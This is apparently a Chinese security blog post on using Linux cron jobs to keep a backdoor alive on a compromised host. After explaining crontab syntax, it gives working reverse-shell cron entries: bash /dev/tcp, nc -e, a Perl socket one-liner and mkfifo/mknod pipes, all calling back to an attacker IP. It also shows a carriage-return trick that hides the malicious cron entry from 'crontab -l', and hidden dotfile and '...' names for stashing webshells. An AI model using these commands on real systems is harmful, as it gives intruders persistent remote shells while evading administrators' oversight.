凡心所向,素履所往

计划任务

字数统计: 1.6k阅读时长: 6 min
2019/07/11 Share

计划任务
[TOC]

计划任务

linux 计划任务 结合 NC执行后门

查看crontab执行情况

查看其日志的方式

tail -f /var/log/cron 

crontab 命令

Usage:
 crontab [options] file
 crontab [options]
 crontab -n [hostname]

Options:
 -u <user>  define user
 -e         edit user's crontab
 -l         list user's crontab
 -r         delete user's crontab
 -i         prompt before deleting
 -n <host>  set host in cluster to run users' crontabs
 -c         get host in cluster to run users' crontabs
 -s         selinux context
 -x <mask>  enable debugging

Default operation is replace, per 1003.2

配置文件

[[email protected]_0_2_centos ~]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

配置文件为/etc/crontab
存放执行的crontab脚本文件的路径为/etc/cron.d
存放每个用户的crontab任务的目录在debian系统中一般为/var/spool/cron/crontabs,centos系统中一般为/var/spool/cron
-w293

利用crontab 反弹shell

常见的通过corntab反弹shell方法

bash 反弹shell

测试设备
A:服务端 centos
B:客户端 ubuntu

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xx 0>&1

命令解析

参数    描述
-c string    从string中读取命令并处理他们
-r     启动限制性shell,限制用户在默认目录下活动
-i    启动交互性shell,允许用户输入
-s    从标准输入读取命令

即启用交互式shell

linux shell下常用的文件描述符是:
1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ; 
2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 
3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

其中 “>&” 和 “&>”的效果一样都是将标准错误输出重定向到标准输出,即和”> xxx 2>&1”是一样的。
这里的”&” 类似于取地址符
-w1435
此处 客户端的输入和输出都在服务端上展示,服务端无法直接输入
-w1438

在man bash 里面解释为
-w709
同理 “n<&word” 是word复制给n, “n>&word”是把word复制给n
“0>&1”就是把 0对应的设备改成的1对应的设备,那也就是socket。这就表明了 stdin就是从socket中读取数据,然后再执行命令,把bash的命令行返回内容通过stdout发到socket。
-w712

/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

crontab 反弹 shell

bash

crontab -e
选择常见编辑器后,写入执行命令

*/1 * * * * bash -i &> /dev/tcp/xxx.xxx.xxx.xxx/xx 0>&1
*/1 * * * * bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xx 0>&1

以及段师傅的

/bin/bash -c '/bin/bash -i >& /dev/tcp/ip/port 0>&1'

别忘了重启

/etc/init.d/cron restart

在ubuntu中 踩了个大坑,这条命令在centos中可以执行,但是在ubuntu中不行。
检查日志 “/var/log/syslog” 发现计划任务执行了,但是结果没建立连接
-w888
-w887

修改下软连接

ln -sf bash /bin/sh

-w533

-w530
-w1300

推测是原ubuntu 版本的bin/sh 软连接 连接到dash
修改后的软连接:
-w653
这里/bin/sh软连接是sh -> dash 然后rbash -> bash
关键问题是 bash和dash的区别

从Ubuntu 6.10开始,默认使用dash(theDebian Almquist Shell)而不是bash(the GNUBourne-Again Shell). 但Login Shell还是bash. 原因是dash更快、更高效,而且它符合POSIX规范。Ubuntu在启动的时候会运行很多shell脚本,使用dash可以加快启动速度

bash和dash在/bin/sh 使用中的区别-待续

将该ubuntu中的/bin/sh 软连接改回到dash,查看该问题报错

nc

在centos下可以使用

*/1 * * * * nc -e /bin/sh ip port

别忘了重启

service crond restart

-w892

*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

隐藏计划任务

在使用计划任务入侵的时候,可以简单的隐藏下计划任务,以便于不那么容易被发现

(crontab -l;printf "*/1 * * * *  /usr/bin/nc ip 8550 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -

这个时候直接用crontab -l 输出的时候是直接显示no crontab for 当前用户。

注意这里有一个坑点,osx系统中的nc 没有-e 参数(在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个
GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制,但这种情况下是不是就),这里可以看看mail文件”/var/mail/name”里面的报错
-w657

nc 缺少 -e 参数的解决方式

dev/tcp

在缺少 -e得时候,可以使用bash dev/tcp/ip/port(在有/dev/tcp的bash的前提下)
-w563

-w1112

mknod FIFO

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

-w1122
mkfifo

或者

mknod /tmp/backpipe p ;/bin/sh 0< /tmp/backpipe | nc ip 443 1> /tmp/backpipe

-w1136

隐藏文件/文件夹

Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。

方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)

touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹

终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。

touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹

隐藏

参考

解决ubuntu-crontab反弹shell失败的问题

Netcat without -e? No Problem!

CATALOG
  1. 1. 计划任务
    1. 1.1. 查看crontab执行情况
    2. 1.2. crontab 命令
      1. 1.2.1. 配置文件
    3. 1.3. 利用crontab 反弹shell
      1. 1.3.1. bash 反弹shell
        1. 1.3.1.1. 命令解析
      2. 1.3.2. crontab 反弹 shell
        1. 1.3.2.1. bash
        2. 1.3.2.2. bash和dash在/bin/sh 使用中的区别-待续
        3. 1.3.2.3. nc
  2. 2. 隐藏计划任务
    1. 2.1. nc 缺少 -e 参数的解决方式
      1. 2.1.1. dev/tcp
      2. 2.1.2. mknod FIFO
    2. 2.2. 隐藏文件/文件夹
    3. 2.3. 隐藏
  3. 3. 参考